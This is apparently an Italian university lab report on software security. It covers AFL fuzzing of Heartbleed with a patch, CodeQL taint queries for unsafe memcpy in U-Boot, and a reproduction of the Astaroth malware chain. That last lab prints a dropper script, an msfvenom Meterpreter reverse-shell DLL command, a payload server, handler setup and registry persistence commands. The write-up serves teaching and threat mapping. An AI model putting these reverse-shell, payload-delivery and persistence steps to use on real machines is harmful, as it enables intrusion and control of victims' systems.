L'errore viene causato dalla funzione tls1_process_heartbeat nel file t1_lib.c di OpenSSL, alla riga 2586, che chiama a sua volta memcpy.

```
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/unina/software-security/fuzzing/heartbleed/handshake+0x49c766) in __
asan_memcpy
```

```
READ of size 48830 at 0x629000009748 thread T0
    #0 0x49c766 in __asan_memcpy (/home/unina/software-security/fuzzing/heartbleed/handshake+0x49c766)
    #1 0x4ded5f in tls1_process_heartbeat /home/unina/software-security/fuzzing/heartbleed/openssl/ssl/t1_lib.c:2586:3
```

- **Qual è il punto nel codice di OpenSSL che ha allocato il buffer?**

Dalla funzione CRYPTO_malloc a riga 308.

```
0x629000009748 is located 0 bytes to the right of 17736-byte region [0x629000005200,0x629000009748)
allocated by thread T0 here:
    #0 0x49d3ad in malloc (/home/unina/software-security/fuzzing/heartbleed/handshake+0x49d3ad)
    #1 0x58ac89 in CRYPTO_malloc /home/unina/software-security/fuzzing/heartbleed/openssl/crypto/mem.c:308:8
```

Analizziamo anche con GDB

Dopo aver avviato il programma con GDB, e posto in input il file che causa il crash, ci interessa stampare tramite print la variabile payload e confrontarla con il contenuto del file di input (grazie al tool hexdump).

```
pwndbg> print/x payload
$1 = 0xf568
pwndbg>
```

```
unina@software-security: ~/software-security/fuzzing/hear...
unina@software-security:~/software-security/fuzzing/heartbleed$ hexdump -C outp
ut/default/crashes/id\:000000\,sig\:06\,src\:000024\,time\:375269\,execs\:76184
\,op\:havoc\,rep\:2
00000000  18 03 a2 00 04 01 f5 68                           |.......h|
00000008
unina@software-security:~/software-security/fuzzing/heartbleed$
```

I byte dell'input che generano l'errore sono: **f5 68**, presenti sia nella variabile payload, sia nel file di input.

Challenge Extra - AFL in modalità persistente

Basta modificare lievemente il codice del programma, aggiungendo le seguenti funzioni:

- **while(__AFL_LOOP(1000)):** è una macro che controlla lo stato di AFL.

- **_AFL_INIT():** Questa funzione inizializza AFL all'avvio del programma.

- **unsigned char *buf = __AFL_FUZZ_TESTCASE_BUF:** Definisce un puntatore ad un buffer che AFL usa per fornire l'input.

- **int len = __AFL_FUZZ_TESTCASE_LEN:** Contiene la lunghezza dei dati presenti nel buffer.

Il codice risulterà così:

```
int main() {

  __AFL_INIT();
  unsigned char *buf = __AFL_FUZZ_TESTCASE_BUF;
  static SSL_CTX *sctx = Init();

  while(__AFL_LOOP(1000)){
  int len = __AFL_FUZZ_TESTCASE_LEN;


  SSL *server = SSL_new(sctx);
  BIO *sinbio = BIO_new(BIO_s_mem());
  BIO *soutbio = BIO_new(BIO_s_mem());
  SSL_set_bio(server, sinbio, soutbio);
  SSL_set_accept_state(server);

  if(len < 8) continue;

  read(0, buf, 100);

  BIO_write(sinbio, buf, 100);


  SSL_do_handshake(server);
  SSL_free(server);
  }
  return 0;
}
```

Grazie alla modalità persistente, è stato possibile generare il crash in soli 23 secondi, ottenendo un miglioramento di circa un 20x. Anche in questo caso abbiamo testato che i file dei crash generati facessero effettivamente crashare il programma.

Challenge Extra – Sperimentare con Val-grind:

- Verificare che, senza ASAN, il crash non può essere attivato. Perchè?

Se si prova a disabilitare ASAN e ripetere i passi precedenti per avviare AFL, il crash non viene triggerato. La motivazione per cui senza ASAN non si può attivare il crash è dovuta a due principali fattori:

1. La natura del bug: Heartbleed è un bug di natura buffer-overread che andava a permettere una lettura dei dati nel buffer, senza però generare eccezioni o crash e continuando a far funzionare il protocollo. Di conseguenza in mancanza di un controllo specifico, che viene piazzato grazie alla fase di instrumentation del sanitizer, il crash non può essere generato.

2. Il funzionamento di ASAN: Durante la propria fase di instrumentation, ASAN inserisce delle redzones attorno ai buffer, che vengono segnati come "Non accessibili". Nel caso in cui una funzione acceda ad un buffer, Asan genera una specifica eccezione, arrestando il funzionamento del programma.

Allo stesso modo di ASAN si ottiene anche con valgrind la diagnostica dell'errore, utilizzando il tool memcheck:

```
unina@software-security:~/sofw2/software-security/fuzzing/heartbleed$ valgrind --tool=memcheck ./handshake < output/
default/crashes/id\:000000\,sig\:06\,src\:000025+000017\,time\:366613\,execs\:65386\,op\:splice\,rep\:2
==30407== Memcheck, a memory error detector
==30407== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==30407== Using Valgrind-3.18.1 and LibVEX; rerun with -h for copyright info
==30407== Command: ./handshake
==30407==
==30407== Invalid read of size 8
==30407==    at 0x4850064: memcpy@GLIBC_2.2.5 (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==30407==    by 0x409090: tls1_process_heartbeat (t1_lib.c:2586)
==30407==    by 0x445AA2: ssl3_read_bytes (s3_pkt.c:1092)
==30407==    by 0x44758E: ssl3_get_message (s3_both.c:457)
==30407==    by 0x42D91A: ssl3_get_client_hello (s3_srvr.c:941)
==30407==    by 0x42BAB7: ssl3_accept (s3_srvr.c:357)
==30407==    by 0x403915: main (handshake.cc:46)
==30407==  Address 0x5050b88 is 8 bytes before a block of size 52,312 alloc'd
==30407==    at 0x4848899: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==30407==    by 0x45D909: CRYPTO_malloc (mem.c:308)
==30407==    by 0x40906E: tls1_process_heartbeat (t1_lib.c:2580)
==30407==    by 0x445AA2: ssl3_read_bytes (s3_pkt.c:1092)
==30407==    by 0x44758E: ssl3_get_message (s3_both.c:457)
==30407==    by 0x42D91A: ssl3_get_client_hello (s3_srvr.c:941)
==30407==    by 0x42BAB7: ssl3_accept (s3_srvr.c:357)
==30407==    by 0x403915: main (handshake.cc:46)
==30407==
==30407== Invalid read of size 8
==30407==    at 0x4850070: memcpy@GLIBC_2.2.5 (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==30407==    by 0x409090: tls1_process_heartbeat (t1_lib.c:2586)
==30407==    by 0x445AA2: ssl3_read_bytes (s3_pkt.c:1092)
==30407==    by 0x44758E: ssl3_get_message (s3_both.c:457)
==30407==    by 0x42D91A: ssl3_get_client_hello (s3_srvr.c:941)
==30407==    by 0x42BAB7: ssl3_accept (s3_srvr.c:357)
==30407==    by 0x403915: main (handshake.cc:46)
==30407==  Address 0x5050b80 is 16 bytes before a block of size 52,312 alloc'd
==30407==    at 0x4848899: malloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==30407==    by 0x45D909: CRYPTO_malloc (mem.c:308)
==30407==    by 0x40906E: tls1_process_heartbeat (t1_lib.c:2580)
==30407==    by 0x445AA2: ssl3_read_bytes (s3_pkt.c:1092)
==30407==    by 0x44758E: ssl3_get_message (s3_both.c:457)
```

```
==30407== HEAP SUMMARY:
==30407==     in use at exit: 137,650 bytes in 3,241 blocks
==30407==   total heap usage: 3,487 allocs, 246 frees, 2,574,375 bytes allocated
==30407==
==30407== LEAK SUMMARY:
==30407==    definitely lost: 0 bytes in 0 blocks
==30407==    indirectly lost: 0 bytes in 0 blocks
==30407==      possibly lost: 0 bytes in 0 blocks
==30407==    still reachable: 137,650 bytes in 3,241 blocks
==30407==         suppressed: 0 bytes in 0 blocks
==30407== Rerun with --leak-check=full to see details of leaked memory
==30407==
==30407== For lists of detected and suppressed errors, rerun with: -s
==30407== ERROR SUMMARY: 67 errors from 4 contexts (suppressed: 0 from 0)
unina@software-security:~/sofw2/software-security/fuzzing/heartbleed$
```

Challenge Extra - Fix Heartbleed:

- Correggere il codice vulnerabile per prevenire l'attacco.

Come visto prima, il crash era generato dalla funzione *tls1_process_heartbeat* nel file *t1_lib.c*. L'errore è generato dalla seguente struttura dati:

```
typedef struct ssl3_record_st
        {
/*r */  int type;               /* type of record */
/*rw*/  unsigned int length;    /* How many bytes available */
/*r */  unsigned int off;       /* read/write offset into 'buf' */
/*rw*/  unsigned char *data;    /* pointer to the record data */
/*rw*/  unsigned char *input;   /* where the decode bytes are */
/*r */  unsigned char *comp;    /* only used with decompression - malloc()ed */
/*r */  unsigned long epoch;    /* epoch number, needed by DTLS1 */
/*r */  unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */
        } SSL3_RECORD;
```

Il valore di "length" deve essere maggiore o uguale a (payload_length + 1+2+16). Nella funzione tls1_process_heartbeat non è presente nessun controllo che vada a gestire la grandezza di payload_length. Il file è stato quindi corretto, andando a confrontare length con il valore di payload nel seguente modo:

```
int
tls1_process_heartbeat(SSL *s)
        {
        unsigned char *p = &s->s3->rrec.data[0], *pl;
        unsigned short hbtype;
        unsigned int payload;
        unsigned int padding = 16; /* Use minimum padding */

        /* Read type and payload length first */
        hbtype = *p++;
        n2s(p, payload);
        if(s->s3->rrec.length < (payload + 1 + 2 + 16)) { return 0;}

        pl = p;
```

Rieseguendo tutti i passaggi non vengono generati crash di alcun tipo:

```
          american fuzzy lop ++4.00c {default} (./handshake) [fast]
┌─ process timing ──────────────────────────────────────┬─ overall results ─────┐
│        run time : 0 days, 0 hrs, 20 min, 16 sec       │  cycles done : 5      │
│   last new find : 0 days, 0 hrs, 0 min, 25 sec        │ corpus count : 83     │
│last saved crash : none seen yet                       │saved crashes : 0      │
│ last saved hang : none seen yet                       │  saved hangs : 0      │
├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤
│  now processing : 64.0 (77.1%)      │    map density : 4.94% / 6.33%         │
│  runs timed out : 0 (0.00%)         │ count coverage : 1.41 bits/tuple       │
├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤
│  now trying : havoc                 │ favored items : 39 (46.99%)            │
│ stage execs : 18.3k/24.6k (74.41%)  │  new edges on : 51 (61.45%)            │
│ total execs : 196k                  │ total crashes : 0 (0 saved)            │
│  exec speed : 140.1/sec             │  total tmouts : 0 (0 saved)            │
├─ fuzzing strategy yields ───────────┴───────────────┬─ item geometry ───────┤
│   bit flips : disabled (default, enable with -D)    │    levels : 10        │
│  byte flips : disabled (default, enable with -D)    │   pending : 52        │
│ arithmetics : disabled (default, enable with -D)    │  pend fav : 11        │
│  known ints : disabled (default, enable with -D)    │ own finds : 82        │
│  dictionary : n/a                                   │  imported : 0         │
│havoc/splice : 49/137k, 15/40.2k                     │ stability : 100.00%   │
│py/custom/rq : unused, unused, unused, unused        ├───────────────────────┘
│    trim/eff : 23.53%/87, disabled                   │          [cpu000: 50%]
└─────────────────────────────────────────────────────┘
```

Lab 4 – Static Analysis

L'U-Boot Bootloader è un popolare bootloader primario ampiamente utilizzato nei dispositivi embedded per recuperare dati da diverse fonti ed eseguire il codice, oltre a svolgere il compito di verificare le firme digitali delle risorse scaricate, garantendo così l'integrità e l'autenticità del software caricato durante il processo di avvio.

Challenge principale:

Nel bootloader sono state trovate 13 vulnerabilità dal MITRE di tipo remote-code-execution. L'obiettivo è scrivere una query tramite CodeQL per rintracciare le chiamate non sicure a memcpy(). Questo perché le funzioni ntohs() e ntohl convertono i dati dall'ordinamento dei byte della rete a quello del dispositivo, spesso senza una validazione prima dell'utilizzo, producendo quindi una taint propagation.

1. Trovare tutte le funzioni chiamate memcpy

La query che permette di trovare tutte le funzioni chiamate memcpy è la seguente:

```
import cpp
from Function f
where f.getName()= "memcpy"
select f, "funzione memcpy"
```

Essa è realizzata grazie al predicato getName() sulla variabile f di tipo Function, questo predicato si occupa di controllare che la stringa inserita dopo l'uguaglianza sia uguale al risultato del predicato getName().

Il risultato è mostrato di seguito:

#	f	[1]
1	memcpy	funzione memcpy
2	memcpy	funzione memcpy
3	memcpy	funzione memcpy

2. Trovare tutte le macro che iniziano per ntoh*

Allo stesso modo di prima, la query che permette di trovare le macro è la seguente:

```
1   import cpp
2   from Macro mac
3   where mac.getName().matches("ntoh%")
4   select mac, "Macro ntoh tutte"
```

La differenza la si trova nel fatto che prima la variabile f era di tipo Function, perché cercavamo una funzione. Adesso cercando una Macro, la variabile di interesse mac è di tipo Macro. Il predicato matches invece, va a prendere come argomento la stringa da comparare ma ci permette di inserire dei caratteri speciali che possono essere:

- % per corrispondere a qualsiasi sequenza di caratteri
- _ per corrispondere a un singolo carattere

Di conseguenza, grazie al carattere % è possibile trovare tutte le espressioni che iniziano per "ntoh" e sono seguite da qualsiasi sequenza di caratteri. Un'altra soluzione sarebbe stata la seguente:

```
1   import cpp
2   from Macro mac
3   where mac.getName().regexpMatch("ntoh(s|l|ll)")
4   select mac, "Macro ntoh tutte"
```

Che va invece ad utilizzare il predicato regexpMatch che consente di definire una **regular expression** come argomento. Il risultato è mostrato di seguito:

#	mac	[1]
1	#define ntohs(x) __bswap_16 (x)	Macro ntoh tutte
2	#define ntohl(x) __bswap_32 (x)	Macro ntoh tutte
3	#define ntohs(x) ___ntohs(x)	Macro ntoh tutte
4	#define ntohl(x) ___ntohl(x)	Macro ntoh tutte

3. Trovare tutte le chiamate a memcpy

Vogliamo ora trovare tutte le chiamate alla funzione. La query che ci permette di trovare le chiamate è la seguente:

```
import cpp
from FunctionCall memc
where memc.getTarget().getName()="memcpy"
select memc, "Chiamate memcpy"
```

Volendo trovare tutte le chiamate anziché le definizioni, la variabile di interesse deve essere di tipo FunctionCall e, prima di utilizzare il predicato getName è necessario il predicato getTarget che restituisce l'oggetto a cui la chiamata di funzione è rivolta.

#select — 596 results

#	memc	[1]
1	call to memcpy	Chiamate memcpy
2	call to memcpy	Chiamate memcpy
3	call to memcpy	Chiamate memcpy
4	call to memcpy	Chiamate memcpy
5	call to memcpy	Chiamate memcpy
6	call to memcpy	Chiamate memcpy
7	call to memcpy	Chiamate memcpy
8	call to memcpy	Chiamate memcpy
9	call to memcpy	Chiamate memcpy
10	call to memcpy	Chiamate memcpy
11	call to memcpy	Chiamate memcpy
12	call to memcpy	Chiamate memcpy
13	call to memcpy	Chiamate memcpy
14	call to memcpy	Chiamate memcpy
15	call to memcpy	Chiamate memcpy
16	call to memcpy	Chiamate memcpy
17	call to memcpy	Chiamate memcpy
18	call to memcpy	Chiamate memcpy
19	call to memcpy	Chiamate memcpy
20	call to memcpy	Chiamate memcpy
21	call to memcpy	Chiamate memcpy
22	call to memcpy	Chiamate memcpy
23	call to memcpy	Chiamate memcpy
24	call to memcpy	Chiamate memcpy
25	call to memcpy	Chiamate memcpy

4. Trovare tutte le invocazioni alle macro noth*

Nella query due erano state trovate le definizioni delle macro che iniziavano per "ntoh", adesso si vogliono trovare le invocazioni. La query che ci permette di trovare le invocazioni è la seguente:

```
import cpp
from MacroInvocation mac
where mac.getMacro().getName().matches("ntoh%")
select mac, "Ntoh invocazioni"
```

Che va ad utilizzare un oggetto di tipo MacroInvocation e, similmente a prima, è necessario il predicato getMacro prima di getName. Il risultato è il seguente:

#select — 107 results

#	mac	[1]
1	ntohs(x)	Ntoh invocazioni
2	ntohs(x)	Ntoh invocazioni
3	ntohl(x)	Ntoh invocazioni
4	ntohs(x)	Ntoh invocazioni
5	ntohs(x)	Ntoh invocazioni
6	ntohs(x)	Ntoh invocazioni
7	ntohs(x)	Ntoh invocazioni
8	ntohs(x)	Ntoh invocazioni
9	ntohs(x)	Ntoh invocazioni
10	ntohs(x)	Ntoh invocazioni
11	ntohs(x)	Ntoh invocazioni
12	ntohs(x)	Ntoh invocazioni
13	ntohs(x)	Ntoh invocazioni
14	ntohl(x)	Ntoh invocazioni
15	ntohl(x)	Ntoh invocazioni
16	ntohs(x)	Ntoh invocazioni
17	ntohs(x)	Ntoh invocazioni

5. Trovare tutte le espressioni che corrispondono alle invocazioni delle macro

L'obiettivo di questa query è invece quello di trovare le espressioni, un'espressione è un elemento del codice sorgente che può avere un valore in fase di esecuzione e le invocazioni delle macro possono generare delle espressioni. Viene utilizzato il predicato getExpr() nel select:

```
1  import cpp
2  from MacroInvocation mac
3  where mac.getMacro().getName().matches("ntoh%")
4  select mac.getExpr(), "Ntoh Expression"
```

Risultato:

#select 107 results

#	[0]	[1]
1	... ? ... : ...	Ntoh Expression
2	... ? ... : ...	Ntoh Expression
3	... ? ... : ...	Ntoh Expression
4	... ? ... : ...	Ntoh Expression
5	... ? ... : ...	Ntoh Expression
6	... ? ... : ...	Ntoh Expression
7	... ? ... : ...	Ntoh Expression
8	... ? ... : ...	Ntoh Expression
9	... ? ... : ...	Ntoh Expression
10	... ? ... : ...	Ntoh Expression
11	... ? ... : ...	Ntoh Expression
12	... ? ... : ...	Ntoh Expression
13	... ? ... : ...	Ntoh Expression
14	... ? ... : ...	Ntoh Expression
15	... ? ... : ...	Ntoh Expression
16	... ? ... : ...	Ntoh Expression
17	... ? ... : ...	Ntoh Expression
18	... ? ... : ...	Ntoh Expression
19	... ? ... : ...	Ntoh Expression

6. Scrivere la propria classe NetworkByteSwap

L'obiettivo di questa query è quello di scrivere una propria classe, che aiuta a rendere la query più leggibile, facile da riutilizzare e facile da correggere, la logica della classe sarà la stessa della query cinque con il solo obiettivo di renderlo un metodo eseguibile chiamando l'oggetto della classe.

La classe è la seguente:

```
1   import cpp
2
3   class NetworkByteSwap extends Expr {
        Quick Evaluation: NetworkByteSwap
4     NetworkByteSwap () {
5       exists(MacroInvocation mac |
6           mac.getMacro().getName().matches("ntoh%")
7           and this= mac.getExpr()
8       )
9     }
10  }
11
12  from NetworkByteSwap n
13  select n, "Network byte swap"
```

Innanzitutto, la nostra classe deve restituire un oggetto di tipo Expression, di conseguenza la nostra classe deve essere una sottoclasse di tipo Expr, estendendo la logica in maniera specifica, in quanto la classe Expr rappresenta l'insieme di tutte le Expression mentre la nostra deve restituirne solo un determinato subset. All'interno della classe invece, si utilizza il predicato exists, che introduce variabili temporanee e controlla se soddisfano una particolare condizione. Se esiste almeno una variabile mac che soddisfa questa condizione, allora exists restituirà true, altrimenti restituirà false. Il predicato è inoltre utile a non esporre queste variabili temporanee nelle clausole della query. Il risultato è analogo al precedente.

7. Scrivere una taint tracking query

Costruiamo ora la nostra taint tracking query che ci permette di analizzare dove e come si verifica la taint propagation per le funzioni memcpy che è la seguente:

```
5   import cpp
6   import semmle.code.cpp.dataflow.TaintTracking
7   import DataFlow::PathGraph
8
9   class NetworkByteSwap extends Expr {
        Quick Evaluation: NetworkByteSwap
10    NetworkByteSwap () {
11      exists(MacroInvocation mac |
12          mac.getMacro().getName().matches("ntoh%")
13          and this= mac.getExpr()
14      )
15    }
16  }
17
18
19  class Config extends TaintTracking::Configuration {
      Quick Evaluation: Config
20    Config() { this = "NetworkToMemFuncLength" }
21
      Quick Evaluation: isSource
22    override predicate isSource(DataFlow::Node source) {
23     source.asExpr() instanceof NetworkByteSwap
24   }
25
      Quick Evaluation: isSink
26    override predicate isSink(DataFlow::Node sink) {
27     exists(FunctionCall memc |
28       memc.getTarget().getName()="memcpy" and sink.asExpr() = memc.getArgument(2)   )
29     }
30  }
31
32  from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
33  where cfg.hasFlowPath(source, sink)
34  select sink, source, sink, "Network byte swap flows to memcpy"
```

Prima di tutto, c'è la definizione della classe NetworkByteSwap, come visto prima. Successivamente, c'è la definizione della classe Config che contiene la logica per trovare la taint propagation, il costruttore di tale classe setta in primis il nome della configurazione e possiede due predicati:

• **isSource:** Questo predicato definisce cosa costituisce un nodo sorgente, che viene definito come un'istanza della classe NetworkByteSwap. Ciò significa che le istanze di NetworkByteSwap sono considerate punti di origine per il flusso di dati analizzato. Nel predicato viene utilizzato source.asExpr per la conversione dal tipo Dataflow::Node e Expression.

```
override predicate isSource(DataFlow::Node source) {
 source.asExpr() instanceof NetworkByteSwap
}
```

• **isSink:** Questo predicato definisce cosa costituisce un sink, che viene identificato come una chiamata di funzione memcpy, in particolare il sink deve essere l'argomento che rappresenta la grandezza. Come è possibile trovare nella documentazione ufficiale, la grandezza è il terzo parametro della funzione memcpy.

Following is the declaration for memcpy() function.

```
void *memcpy(void *dest, const void * src, size_t n)
```

Di conseguenza nel nostro predicato viene specificato che il sink è l'espressione rappresentata dal terzo argomento della funzione.

```
override predicate isSink(DataFlow::Node sink) {
 exists(FunctionCall memc |
   memc.getTarget().getName()="memcpy" and sink.asExpr() = memc.getArgument(2)   )
 }
```

Infine, la query principale, che identifica i flussi di dati che vanno da un'operazione di conversione dell'ordine dei byte di rete alla funzione memcpy

```
from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Network byte swap flows to memcpy"
```

Il cui risultato è il seguente:

#select 11 results

#	sink	source	sink	[3]
1	... - ...	... ? ... : ...	... - ...	Network byte swap flows to memcpy
2	chunk	... ? ... : ...	chunk	Network byte swap flows to memcpy
3	len	... ? ... : ...	len	Network byte swap flows to memcpy
4	rlen	... ? ... : ...	rlen	Network byte swap flows to memcpy
5	rlen	... ? ... : ...	rlen	Network byte swap flows to memcpy
6	filefh3_length	... ? ... : ...	filefh3_length	Network byte swap flows to memcpy
7	len	... ? ... : ...	len	Network byte swap flows to memcpy
8	len	... ? ... : ...	len	Network byte swap flows to memcpy
9	... + ...	... ? ... : ...	... + ...	Network byte swap flows to memcpy
10	... + ...	... ? ... : ...	... + ...	Network byte swap flows to memcpy
11	... + ...	... ? ... : ...	... + ...	Network byte swap flows to memcpy

Challenge Extra: Come verificare la sanificazione?

Per poter verificare la sanificazione e saltare di conseguenza l'output di falsi positivi, si dovrebbe dichiarare un ulteriore predicato "isSanitizer" dove andrebbero definiti dei criteri specifici che vanno a filtrare i risultati sulla base dei controlli di sanificazione presenti.

Nel codice che ci sono degli if statement che vanno a controllare la dimensione dell'input come questo di seguito:

```
/* Check if packet will wrap in input_buffer */
if (end + len >= sizeof(input_buffer)) {
    chunk = sizeof(input_buffer) - end;
    /* Copy the second part of the pkt to start of input_buffer */
    memcpy(input_buffer, pkt + chunk, len - chunk);
}
```

L'idea è quindi quella di fare in modo di controllare che l'input passi attraverso un blocco if e nel caso, supporre che sia stato correttamente sanificato. Questo è realizzato tramite il predicato isSanitizer:

```
39      override predicate isSanitizer(DataFlow::Node sanitizer) {
40        exists(IfStmt ifS | sanitizer.asExpr().getBasicBlock() = ifS )
41
42      }
43  }
44
45  from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink, DataFlow::PathNode sanitizer
46  where cfg.hasFlowPath(source, sink) and not (
47    cfg.hasFlowPath(source, sanitizer) and  cfg.hasFlowPath(sanitizer, sink)
48  )
49  select sink, source, sink, "Network byte swap flows to memcpy"
```

Il risultato è riportato di seguito:

alerts 9 results Show results in Problems view

Message	
Network byte swap flows to memcpy	netconsole.c:161:37
Network byte swap flows to memcpy	netconsole.c:164:34
Network byte swap flows to memcpy	net.c:1009:50
Network byte swap flows to memcpy	nfs.c:644:10
Network byte swap flows to memcpy	nfs.c:649:10
Network byte swap flows to memcpy	nfs.c:574:44
Network byte swap flows to memcpy	ping.c:108:25
Network byte swap flows to memcpy	ping.c:108:25
Network byte swap flows to memcpy	ping.c:108:25

Lab 5 – Cyber Threat Intelligence

Challenge Principale:

• Eseguire il malware Astaroth utilizzando la macchina virtuale di Windows e mappare le attività del malware con il MITRE ATT&CK.

L'attacco Astaroth va eseguito in quattro step:

1. L'aggressore genera un file ".lnk" dannoso ("dropper"), utilizzando script bat/vbs, che serve a generare un file cliccabile per il phishing.

2. L'utente esegue il file ".lnk" tramite phishing, che andrà a scaricare dei file ed eseguirà un altro script dannoso, lo stager.

3. Lo stager scarica un file maligno ".dll" tramite Metasploit.

4. Lo stager esegue il file ".dll", che apre una shell inversa.

Step 1 - Dropper

Il dropper è stato creato utilizzando lo script bat presente sulla macchina virtuale windows, opportunamente modificato con il giusto indirizzo ip della macchina attaccante. Come macchina attaccante è stata utilizzata una macchina virtuale kali linux su rete NAT. Dopo aver ricavato l'ip della macchina attaccante è stato inserito all'interno dello script bat di creazione del dropper. Ip: 192.168.100.6 Rete con NAT.

```
rem Create a dropper in LNK (shortcut) format that will download and execute the CMD stager.

set SERVER=http://192.168.100.6/
set PATH_PUBLIC_DIR=C:\Users\Public\Libraries\raw\

rem Create the target directoty if it does not exist.
if not exist "%PATH_PUBLIC_DIR%" mkdir %PATH_PUBLIC_DIR%
```

Eseguendo tale script viene quindi generato il file cliccabile di phishing nella cartella: C:\Users\Public\Libraries\raw\

Step 2 – Stager

Lo stager utilizza BITSAdmin per scaricare una DLL dannosa, BITSAdmin è uno strumento a riga di comando per Windows per download/upload di file batch, nel tempo abusato per il trasferimento di file malevoli. Anche nello stager va inserito l'opportuno indirizzo IP della macchina attaccante 192.168.100.6.

Oltre a scaricare i file, lo stager si occupa anche di nascondere uno script malevolo negli Alternative Data Streams (ADS). Nei file system NTFS, ogni file o directory ha attributi aggiuntivi chiamati Alternative Data Streams (ADS). Gli ADS possono memorizzare dati arbitrari. Questi dati non sono visibili all'utente comune perché vengono salvati nella Master File Table e possono quindi essere sfruttati per nascondere file.

Quest'ultimo script nascosto, si occuperà di avviare una dll dannosa, generata opportunamente, che avvierà la nostra reverse shell. Quindi prima di scaricare i file, dobbiamo generare il payload.

Step 3: Generazione del Payload

Per generare la DLL dannosa, utilizziamo msfvenom da Metasploit, utilizzando quindi la nostra macchina attaccante, ci andiamo a porre nella cartella contenente i file da far scaricare alla macchina vittima e ci aggiungiamo il nostro payload dannoso e generiamo il payload grazie al comando:

```
msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOS
T=192.168.100.6 LPORT=4444 -f dll -o payload.dll
```

Tale payload viene quindi aggiunto alla nostra cartella di file da far scaricare alla vittima, ed è stato opportunamente settato anch'esso per utilizzare l'IP della macchina attaccante su porta 4444, questo perché lo script tenterà di aprire una connessione sull'ip e porta inseriti come parametri. Gli ultimi step rimanenti sono quindi quelli di apertura del server al fine di far scaricare i file alla vittima e l'apertura di un ascolto sulla porta 4444 che potrà accogliere la connessione aperta dalla dll malevola.

Step 3.5: Apertura del server

Per aprire il server viene utilizzato semplicemente un modulo della libreria python che aprirà il server su porta 80.

```
┌──(kali㉿kali)-[~/Desktop/Payload]
└─$ sudo python3 -m http.server 80
[sudo] password for kali:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Step 4: Apertura della connessione

Per l'apertura della connessione, viene utilizzato ancora una volta Metasploit che ci permette di utilizzare l'interprete Meterpreter utile ad aprire una vera e propria sessione di Command and Control. In pratica alla ricezione della connessione dalla macchina vittima, ci permetterà di eseguire comandi su tale macchina.

```
msf6 exploit(multi/handler) > use exploit/multi/handler
[*] Using configured payload windows/meterpreter/revers
e_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/meter
reter/reverse_tcp
PAYLOAD ⇒ windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.169.100.6
LHOST ⇒ 192.169.100.6
msf6 exploit(multi/handler) > set LPORT 4444
LPORT ⇒ 4444
msf6 exploit(multi/handler) > exploit
```

A questo punto è possibile procedere con la vera e propria esecuzione dell'attacco. Come prima cosa viene aperta la connessione in ascolto con metasploit tramite il comando exploit. In seguito, viene cliccato il file di phishing "clickme", che andrà a scaricare i file (stager + payload.dll) dal server aperto precedentemente:

```
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.100.7 - - [27/Jun/2024 12:30:09] "GET /stager.cmd H
TTP/1.1" 200 -
192.168.100.7 - - [27/Jun/2024 12:30:10] "GET /payload.dll
HTTP/1.1" 200 -
```

clickme	6/27/2024 8:26 AM
desktop.ini	6/27/2024 9:29 AM
launcher	6/27/2024 9:29 AM
mozsqlite3.dll	6/27/2024 8:23 AM

Lo stager, eseguirà la dll e otterremo la sessione di command e control:

```
meterpreter > ls
Listing: C:\Users\Public\Libraries\raw
==========================================

Mode          Size  Type  Last modified     Name
----          ----  ----  -------------     ----
100666/rw-rw- 0     fil   2024-06-27 11:25:37 -0400  BITF0E.tmp
100666/rw-rw- 1317  fil   2024-06-27 11:26:53 -0400  clickme.lnk
100666/rw-rw- 0     fil   2024-06-27 12:29:09 -0400  desktop.ini
100666/rw-rw- 1148  fil   2024-06-27 12:29:09 -0400  launcher.lnk
100666/rw-rw- 9216  fil   2024-06-27 11:23:12 -0400  mozsqlite3.dll
```

Mitre ATT&CK Mapping

TATTICA	TECNICA	PROCEDURA
Initial Access	T1192: Spearphishing Link	Malware distribuito tramite email
Privilage escalation	T1023: Shortcut modification	Il payload iniziale è un .LNK
Command and control	T1105: Ingress Tool Transfer	Utilizza BITSAdmin per scaricare malware
Defense evasion	T1027: Obfuscated Files or Information	Nasconde la DLL negli Alternative data streams
Defense evasion	T1140: Deobuscate/Decode files or information	Utilizza il medoto fromCharCoda() per non scrivere comandi in maniera esplicita e per nascondere il suo codice
Execution	T1129: Execution through module load	Usa la funzione LoadLibraryExW() per caricare moduli
Exfiltrarion	T1041: Exfiltrarion over C2 channel	Esfiltra le informazioni raccolte al server esterno
Execution	T1059: Command and scripting interpreter	Usa allegati mail VBS

Challenge Extra:

- Aggiornare l'attacco per utilizzare le tecniche di persistenza e per utilizzare WMI

Per l'aggiunta della persistenza, vengono utilizzate due tecniche:

• L'aggiunta del launcher nella cartella di startup

• La scrittura di una nuova entry nel registro di sistema

Qualsiasi eseguibile presente nella cartella di avvio sarà eseguito automaticamente al momento dell'accesso, per realizzare questa cosa è necessario copiare il launcher all'interno della cartella e questo viene fatto modificando lo stager con una nuova istruzione:

```
REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
/f /v StartUp /t REG_SZ /d %PATH_LAUNCHER_LNK%
```

Invece, aggiungendo una entry in determinate posizioni del registro di Windows, un utente malintenzionato è in grado di far eseguire del codice ogni volta che l'utente accede al sistema. Questa scrittura avviene invece con un'altra istruzione: Quindi, dopo aver opportunamente modificato lo stager e rieseguendo i passi come nell'attacco standard, possiamo notare che questa volta, oltre ad aprire un collegamento con la nostra reverse shell avverrà la copia nella cartella di startup e verrà aggiunta tale l'entry nel registro:

Start Menu	REG_SZ	C:\Users\unina\AppData\Roaming\Microsoft\Win...
